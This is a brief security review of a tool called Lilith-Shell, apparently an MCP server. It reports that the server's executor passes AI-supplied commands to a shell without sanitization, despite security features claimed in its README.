Lilith-Shell

The provided `src/lilith_shell/executor.py` module, which contains the `handle_call_tool` function, directly passes the AI-provided `command` argument to `subprocess.run` with `shell=True`. There are no visible calls to any security validation or sanitization functions (e.g., from the described `core/security.py` or `utils/sanitizer.py` in the README's architecture) *before* executing the command. This constitutes a severe shell injection vulnerability, allowing an AI assistant (or any entity capable of sending MCP requests) to execute arbitrary commands on the host system without restriction based on the provided code. While the README describes robust security features like command allowlisting, dangerous command detection, and security modes, these are not implemented or called in the core command execution logic shown in the truncated `executor.py` file, making the server extremely unsafe to run as provided.